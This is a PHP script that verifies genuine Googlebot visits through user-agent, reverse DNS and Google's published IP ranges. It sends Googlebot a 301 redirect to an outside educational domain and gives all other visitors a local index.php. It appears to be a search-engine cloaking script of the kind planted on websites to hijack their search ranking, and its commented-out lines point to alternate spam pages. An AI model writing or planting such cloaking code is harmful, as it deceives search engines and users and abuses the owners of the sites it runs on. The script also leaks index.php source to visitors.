 <?php
function get_real_ip() {
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }
    return '0.0.0.0';
}

function is_valid_googlebot_dns($ip) {
    $host = gethostbyaddr($ip);
    if (preg_match('/\.google(bot)?\.com$/', $host)) {
        $resolved_ip = gethostbyname($host);
        return $ip === $resolved_ip;
    }
    return false;
}

function fetch_googlebot_cidrs() {
    $cache_file = __DIR__ . '/googlebot_cidrs_cache.json';
    $cache_lifetime = 12 * 60 * 60; // 12 hours

    if (file_exists($cache_file) && (filemtime($cache_file) > (time() - $cache_lifetime))) {
        $cidrs = json_decode(file_get_contents($cache_file), true);
        if (is_array($cidrs)) {
            return $cidrs;
        }
    }

    $json = @file_get_contents('https://developers.google.com/static/search/apis/ipranges/googlebot.json');
    $cidrs = [];

    if ($json) {
        $data = json_decode($json, true);
        if (isset($data['prefixes'])) {
            foreach ($data['prefixes'] as $item) {
                if (isset($item['ipv4Prefix'])) {
                    $cidrs[] = $item['ipv4Prefix'];
                }
            }
        }
        file_put_contents($cache_file, json_encode($cidrs));
    }

    return $cidrs;
}

function ip_in_cidrs($ip, $cidrs) {
    foreach ($cidrs as $cidr) {
        list($subnet, $mask) = explode('/', $cidr);
        if ((ip2long($ip) & ~((1 << (32 - $mask)) - 1)) === (ip2long($subnet) & ~((1 << (32 - $mask)) - 1))) {
            return true;
        }
    }
    return false;
}

function is_real_googlebot() {
    if (!isset($_SERVER['HTTP_USER_AGENT']) ||
        !preg_match('/Googlebot|Mediapartners-Google|Google-InspectionTool/i', $_SERVER['HTTP_USER_AGENT'])) {
        return false;
    }

    $ip = get_real_ip();

    if (is_valid_googlebot_dns($ip)) {
        return true;
    }

    $cidrs = fetch_googlebot_cidrs();
    return ip_in_cidrs($ip, $cidrs);
}

// Serve content based on bot detection
if (is_real_googlebot()) {
 
   header("Location: https://isam.edu.pe/administracion-de-empresas", true, 301);
    exit;
    // $file = __DIR__ . '/tungtung.html';
    // if (file_exists($file)) {
    //     header("Content-Type: text/html");
    //     readfile($file);
    //     exit;
    // } else {
    //     http_response_code(404);
    //     echo "not found.";
    //     exit;
    // }
} else {
    // Serve putih.html to non-Googlebot visitors
    $file = __DIR__ . '/index.php';
    if (file_exists($file)) {
        header("Content-Type: text/html");
        readfile($file);
        exit;
    } else {
        http_response_code(404);
        exit;
    }
}
?>
